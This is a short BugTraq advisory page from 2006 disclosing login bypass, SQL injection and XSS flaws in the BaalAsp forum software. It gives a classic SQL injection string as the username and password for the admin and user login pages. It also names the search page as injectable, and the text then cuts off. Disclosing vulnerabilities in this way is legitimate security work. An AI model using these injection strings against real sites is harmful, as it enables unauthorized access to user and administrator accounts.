Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
BaalAsp forum [login bypass ,injections sql(post), xss(post)] Nov 15 2006 05:44PM
saps audit gmail com
vendor site:http://baalasp.com/
product:BaalAsp forum
bug:login bypass, injection sql post, xss post
risk:high

authentification bypass :
admin login bypass ==> /adminlogin.asp
passwd: 'or''='
user login bypass ==> /userlogin.asp
user: 'or''='
passwd: 'or''='

injection sql (post)
==> /search.asp
...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus